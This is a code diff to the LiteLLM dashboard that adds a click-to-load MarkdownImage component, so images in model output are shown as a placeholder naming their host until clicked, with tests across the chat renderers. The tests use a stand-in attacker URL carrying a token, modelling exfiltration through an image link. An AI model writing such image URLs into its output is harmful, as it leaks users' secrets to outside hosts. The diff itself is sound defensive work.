diff --git a/ui/litellm-dashboard/src/app/(dashboard)/playground/components/chat_ui/ChatMessageBubble.tsx b/ui/litellm-dashboard/src/app/(dashboard)/playground/components/chat_ui/ChatMessageBubble.tsx
index bd6a4bc49a4..fb29550aeb4 100644
--- a/ui/litellm-dashboard/src/app/(dashboard)/playground/components/chat_ui/ChatMessageBubble.tsx
+++ b/ui/litellm-dashboard/src/app/(dashboard)/playground/components/chat_ui/ChatMessageBubble.tsx
@@ -14,6 +14,7 @@ import { EndpointType } from "@/components/chat_ui/mode_endpoint_mapping";
import MCPEventsDisplay from "@/components/chat_ui/MCPEventsDisplay";
import type { MCPEvent } from "@/components/mcp_tools/types";
import ReasoningContent from "@/components/chat_ui/ReasoningContent";
+import { MarkdownImage } from "@/components/chat_ui/MarkdownImage";
import ResponseMetrics from "@/components/chat_ui/ResponseMetrics";
import ResponsesImageRenderer from "./ResponsesImageRenderer";
import { SearchResultsDisplay } from "./SearchResultsDisplay";
@@ -165,6 +166,7 @@ function ChatMessageBubble({
);
},
pre: ({ node, ...props }) =>
,
+ img: MarkdownImage,
}}
>
{typeof message.content === "string" ? message.content : ""}
diff --git a/ui/litellm-dashboard/src/app/(dashboard)/playground/components/compareUI/components/MessageDisplay.tsx b/ui/litellm-dashboard/src/app/(dashboard)/playground/components/compareUI/components/MessageDisplay.tsx
index bed469d10c6..897d29ddba6 100644
--- a/ui/litellm-dashboard/src/app/(dashboard)/playground/components/compareUI/components/MessageDisplay.tsx
+++ b/ui/litellm-dashboard/src/app/(dashboard)/playground/components/compareUI/components/MessageDisplay.tsx
@@ -7,6 +7,7 @@ import { coy } from "react-syntax-highlighter/dist/esm/styles/prism";
import { useSyntaxTheme } from "@/hooks/useSyntaxTheme";
import ChatImageRenderer from "../../chat_ui/ChatImageRenderer";
import ReasoningContent from "@/components/chat_ui/ReasoningContent";
+import { MarkdownImage } from "@/components/chat_ui/MarkdownImage";
import ResponseMetrics from "@/components/chat_ui/ResponseMetrics";
import { SearchResultsDisplay } from "../../chat_ui/SearchResultsDisplay";
import type { MessageType } from "@/components/chat_ui/types";
@@ -93,6 +94,7 @@ export function MessageDisplay({ messages, isLoading }: MessageDisplayProps) {
);
},
pre: ({ node, ...props }) => ,
+ img: MarkdownImage,
}}
>
{typeof message.content === "string" ? message.content : ""}
diff --git a/ui/litellm-dashboard/src/app/(dashboard)/prompts/_components/prompt_editor_view/conversation_panel/MessageBubble.tsx b/ui/litellm-dashboard/src/app/(dashboard)/prompts/_components/prompt_editor_view/conversation_panel/MessageBubble.tsx
index 38320576b4b..e40f81c1d44 100644
--- a/ui/litellm-dashboard/src/app/(dashboard)/prompts/_components/prompt_editor_view/conversation_panel/MessageBubble.tsx
+++ b/ui/litellm-dashboard/src/app/(dashboard)/prompts/_components/prompt_editor_view/conversation_panel/MessageBubble.tsx
@@ -6,6 +6,7 @@ import { coy } from "react-syntax-highlighter/dist/esm/styles/prism";
import { useSyntaxTheme } from "@/hooks/useSyntaxTheme";
import ResponseMetrics from "@/components/chat_ui/ResponseMetrics";
+import { MarkdownImage } from "@/components/chat_ui/MarkdownImage";
import { Message } from "./types";
interface MessageBubbleProps {
@@ -87,6 +88,7 @@ const MessageBubble: React.FC = ({ message }) => {
);
},
pre: ({ node, ...props }) => ,
+ img: MarkdownImage,
}}
>
{message.content}
diff --git a/ui/litellm-dashboard/src/app/(dashboard)/usage/_components/components/UsageAIChatPanel.tsx b/ui/litellm-dashboard/src/app/(dashboard)/usage/_components/components/UsageAIChatPanel.tsx
index 107987dd1a5..3533dcfbaf1 100644
--- a/ui/litellm-dashboard/src/app/(dashboard)/usage/_components/components/UsageAIChatPanel.tsx
+++ b/ui/litellm-dashboard/src/app/(dashboard)/usage/_components/components/UsageAIChatPanel.tsx
@@ -1,5 +1,6 @@
import React, { useEffect, useRef, useState } from "react";
-import ReactMarkdown from "react-markdown";
+import ReactMarkdown, { type Components } from "react-markdown";
+import { MarkdownImage } from "@/components/chat_ui/MarkdownImage";
import { Button } from "@/components/ui/button";
import {
Combobox,
@@ -68,40 +69,37 @@ const ToolCallDisplay: React.FC<{ step: ToolCallStep }> = ({ step }) => {
);
};
+const markdownComponents: Components = {
+ p: ({ children }) => {children}
,
+ strong: ({ children }) => {children},
+ ul: ({ children }) => ,
+ ol: ({ children }) => {children}
,
+ li: ({ children }) => {children},
+ h1: ({ children }) => {children}
,
+ h2: ({ children }) => {children}
,
+ h3: ({ children }) => {children}
,
+ code: ({ children, className }) => {
+ const isBlock = className?.includes("language-");
+ return isBlock ? (
+
+ {children}
+
+ ) : (
+ {children}
+ );
+ },
+ table: ({ children }) => (
+
+ ),
+ th: ({ children }) => {children} | ,
+ td: ({ children }) => {children} | ,
+ img: MarkdownImage,
+};
+
const MarkdownContent: React.FC<{ content: string }> = ({ content }) => (
- {children}
,
- strong: ({ children }) => {children},
- ul: ({ children }) => ,
- ol: ({ children }) => {children}
,
- li: ({ children }) => {children},
- h1: ({ children }) => {children}
,
- h2: ({ children }) => {children}
,
- h3: ({ children }) => {children}
,
- code: ({ children, className }) => {
- const isBlock = className?.includes("language-");
- return isBlock ? (
-
- {children}
-
- ) : (
- {children}
- );
- },
- table: ({ children }) => (
-
- ),
- th: ({ children }) => (
- {children} |
- ),
- td: ({ children }) => {children} | ,
- }}
- >
- {content}
-
+ {content}
);
const UsageAIChatPanel: React.FC = ({ open, onClose, accessToken }) => {
diff --git a/ui/litellm-dashboard/src/components/chat/ChatMessages.tsx b/ui/litellm-dashboard/src/components/chat/ChatMessages.tsx
index 5b331cc81bc..ff292a2a8d2 100644
--- a/ui/litellm-dashboard/src/components/chat/ChatMessages.tsx
+++ b/ui/litellm-dashboard/src/components/chat/ChatMessages.tsx
@@ -15,6 +15,7 @@ import { coy } from "react-syntax-highlighter/dist/esm/styles/prism";
import { useSyntaxTheme } from "@/hooks/useSyntaxTheme";
import ReasoningContent from "@/components/chat_ui/ReasoningContent";
+import { MarkdownImage } from "@/components/chat_ui/MarkdownImage";
import MCPEventsDisplay from "@/components/chat_ui/MCPEventsDisplay";
import ResponseMetrics from "@/components/chat_ui/ResponseMetrics";
import { ChatMessage } from "./types";
@@ -69,6 +70,7 @@ function MarkdownCodeRenderer({
const markdownComponents: Components = {
code: MarkdownCodeRenderer,
+ img: MarkdownImage,
pre: ({ node, ...props }) => ,
p: ({ node, ...props }) => ,
ul: ({ node, ...props }) => ,
@@ -81,11 +83,6 @@ const markdownComponents: Components = {
td: ({ node, ...props }) => ,
};
-const markdownWithoutImages: Components = {
- ...markdownComponents,
- img: ({ alt }) => {alt || "Image omitted"},
-};
-
interface UserBubbleProps {
message: ChatMessage;
onEdit?: (messageId: string, newContent: string) => void;
@@ -207,21 +204,13 @@ function UserBubble({ message, onEdit, isStreaming }: UserBubbleProps) {
interface AssistantBubbleProps {
message: ChatMessage;
- allowImages: boolean;
isLastMessage: boolean;
isStreaming: boolean;
isTypingIndicator: boolean;
mcpEvents?: ChatMessage["mcpEvents"];
}
-function AssistantBubble({
- message,
- allowImages,
- isLastMessage,
- isStreaming,
- isTypingIndicator,
- mcpEvents,
-}: AssistantBubbleProps) {
+function AssistantBubble({ message, isLastMessage, isStreaming, isTypingIndicator, mcpEvents }: AssistantBubbleProps) {
const [reasoningKey, setReasoningKey] = useState(0);
const prevStreamingRef = useRef(isStreaming);
@@ -262,10 +251,7 @@ function AssistantBubble({
))}
-
+
{mainContent}
{stoppedSuffix && [stopped]}
@@ -421,7 +407,6 @@ interface Props {
interface ChatMessageContentProps {
message: ChatMessage;
- allowImages?: boolean;
isStreaming?: boolean;
isLastMessage?: boolean;
onEditMessage?: (messageId: string, newContent: string) => void;
@@ -429,7 +414,6 @@ interface ChatMessageContentProps {
export function ChatMessageContent({
message,
- allowImages = true,
isStreaming = false,
isLastMessage = true,
onEditMessage,
@@ -445,7 +429,6 @@ export function ChatMessageContent({
return (
({
+ ...(await importOriginal()),
+ modelHubCall: vi.fn().mockResolvedValue({ data: [{ model_group: "gpt-4o-mini" }] }),
+ usageAiChatStream: vi.fn(async (...args: Parameters) => {
+ const [, , , onChunk, onDone] = args;
+ onChunk(MODEL_OUTPUT);
+ onDone();
+ }),
+}));
+
+async function expectClickToLoad() {
+ const load = await screen.findByRole("button", { name: /attacker\.example:4444 Load image/ });
+ expect(screen.queryByRole("img")).not.toBeInTheDocument();
+
+ fireEvent.click(load);
+
+ expect(screen.getByRole("img", { name: "Weekly chart" })).toHaveAttribute("src", REMOTE_SRC);
+}
+
+describe("model output images are click-to-load in every markdown renderer", () => {
+ it("chat page assistant bubble", async () => {
+ renderWithProviders(
+ ,
+ );
+ await expectClickToLoad();
+ });
+
+ it("playground chat bubble", async () => {
+ renderWithProviders(
+ ,
+ );
+ await expectClickToLoad();
+ });
+
+ it("playground compare view", async () => {
+ renderWithProviders(
+ ,
+ );
+ await expectClickToLoad();
+ });
+
+ it("prompt editor conversation bubble", async () => {
+ renderWithProviders();
+ await expectClickToLoad();
+ });
+
+ it("reasoning content", async () => {
+ renderWithProviders();
+ await expectClickToLoad();
+ });
+
+ it("usage Ask AI panel", async () => {
+ renderWithProviders();
+ fireEvent.change(screen.getByPlaceholderText("Ask about your usage..."), { target: { value: "Weekly status?" } });
+ fireEvent.click(screen.getByRole("button", { name: "Send" }));
+ await expectClickToLoad();
+
+ fireEvent.change(screen.getByPlaceholderText("Ask about your usage..."), { target: { value: "And next week?" } });
+ expect(screen.getByRole("img", { name: "Weekly chart" })).toHaveAttribute("src", REMOTE_SRC);
+ });
+});
diff --git a/ui/litellm-dashboard/src/components/chat_ui/MarkdownImage.test.tsx b/ui/litellm-dashboard/src/components/chat_ui/MarkdownImage.test.tsx
new file mode 100644
index 00000000000..5166767d3f5
--- /dev/null
+++ b/ui/litellm-dashboard/src/components/chat_ui/MarkdownImage.test.tsx
@@ -0,0 +1,64 @@
+import { fireEvent, render, screen } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+import type React from "react";
+import { MarkdownImage } from "./MarkdownImage";
+
+const REMOTE_SRC = "http://attacker.example:4444/chart.png?token=secret";
+
+describe("MarkdownImage", () => {
+ it("renders a placeholder naming the host instead of an image until clicked", () => {
+ render();
+
+ expect(screen.queryByRole("img")).not.toBeInTheDocument();
+ const load = screen.getByRole("button", { name: "Weekly chart attacker.example:4444 Load image" });
+ expect(load).toHaveAttribute("title", REMOTE_SRC);
+
+ fireEvent.click(load);
+
+ expect(screen.getByRole("img", { name: "Weekly chart" })).toHaveAttribute("src", REMOTE_SRC);
+ expect(screen.queryByRole("button")).not.toBeInTheDocument();
+ });
+
+ it("loads the image instead of following a link that wraps it", () => {
+ const onAnchorClick = vi.fn((event: React.MouseEvent) => event.defaultPrevented);
+ render(
+
+
+ ,
+ );
+
+ fireEvent.click(screen.getByRole("button", { name: "Weekly chart attacker.example:4444 Load image" }));
+
+ expect(screen.getByRole("img", { name: "Weekly chart" })).toHaveAttribute("src", REMOTE_SRC);
+ expect(onAnchorClick).toHaveReturnedWith(true);
+ });
+
+ it("falls back to the raw source when it has no host", () => {
+ render();
+ render();
+
+ expect(screen.getByRole("button", { name: "Image /static/logo.png Load image" })).toBeInTheDocument();
+ expect(screen.getByRole("button", { name: "Image mailto:ops@example.com Load image" })).toBeInTheDocument();
+ });
+
+ it("labels an inline data image without showing its payload", () => {
+ const payload = `data:image/png;base64,${"A".repeat(4096)}`;
+ render();
+
+ const load = screen.getByRole("button", { name: "Weekly chart inline image Load image" });
+ expect(load).not.toHaveAttribute("title");
+ expect(load).not.toHaveTextContent("base64");
+
+ fireEvent.click(load);
+
+ expect(screen.getByRole("img", { name: "Weekly chart" })).toHaveAttribute("src", payload);
+ });
+
+ it("renders only the alt text when there is no source", () => {
+ render();
+
+ expect(screen.getByText("Weekly chart")).toBeInTheDocument();
+ expect(screen.queryByRole("button")).not.toBeInTheDocument();
+ expect(screen.queryByRole("img")).not.toBeInTheDocument();
+ });
+});
diff --git a/ui/litellm-dashboard/src/components/chat_ui/MarkdownImage.tsx b/ui/litellm-dashboard/src/components/chat_ui/MarkdownImage.tsx
new file mode 100644
index 00000000000..f44e5a093e0
--- /dev/null
+++ b/ui/litellm-dashboard/src/components/chat_ui/MarkdownImage.tsx
@@ -0,0 +1,49 @@
+import { ImageIcon } from "lucide-react";
+import React, { useState } from "react";
+
+import { Button } from "@/components/ui/button";
+
+type MarkdownImageProps = Pick, "src" | "alt" | "title">;
+
+type ImageSource = { readonly label: string; readonly tooltip: string | undefined };
+
+function describeImageSource(src: string): ImageSource {
+ if (src.startsWith("data:")) {
+ return { label: "inline image", tooltip: undefined };
+ }
+ const host = URL.canParse(src) ? new URL(src).host : "";
+ return { label: host || src, tooltip: src };
+}
+
+export function MarkdownImage({ src, alt, title }: MarkdownImageProps) {
+ const [loaded, setLoaded] = useState(false);
+
+ if (typeof src !== "string" || src === "") {
+ return {alt};
+ }
+
+ if (loaded) {
+ // eslint-disable-next-line @next/next/no-img-element -- the host is whatever the model wrote, which next/image cannot allowlist
+ return
;
+ }
+
+ const source = describeImageSource(src);
+ return (
+
+ );
+}
diff --git a/ui/litellm-dashboard/src/components/chat_ui/ReasoningContent.tsx b/ui/litellm-dashboard/src/components/chat_ui/ReasoningContent.tsx
index 73c952eab3a..66f366e082a 100644
--- a/ui/litellm-dashboard/src/components/chat_ui/ReasoningContent.tsx
+++ b/ui/litellm-dashboard/src/components/chat_ui/ReasoningContent.tsx
@@ -7,6 +7,7 @@ import { useSyntaxTheme } from "@/hooks/useSyntaxTheme";
import { ChevronDown, ChevronRight, Lightbulb } from "lucide-react";
import { Button } from "@/components/ui/button";
import { Collapsible, CollapsibleContent, CollapsibleTrigger } from "@/components/ui/collapsible";
+import { MarkdownImage } from "./MarkdownImage";
interface ReasoningContentProps {
reasoningContent: string;
@@ -77,6 +78,7 @@ const ReasoningContent: React.FC = ({ reasoningContent })
);
},
pre: ({ node, ...props }) => ,
+ img: MarkdownImage,
}}
>
{reasoningContent}
diff --git a/ui/litellm-dashboard/src/components/liteadmin/LiteAdminConversation.tsx b/ui/litellm-dashboard/src/components/liteadmin/LiteAdminConversation.tsx
index 826db57a736..dd417c2b177 100644
--- a/ui/litellm-dashboard/src/components/liteadmin/LiteAdminConversation.tsx
+++ b/ui/litellm-dashboard/src/components/liteadmin/LiteAdminConversation.tsx
@@ -40,12 +40,7 @@ export function LiteAdminConversation({ entries, thinking, open, reviewRef, onAn
{entries.map((entry) => (
{entry.kind === "message" && (
-
+
)}
{entry.kind === "action" && (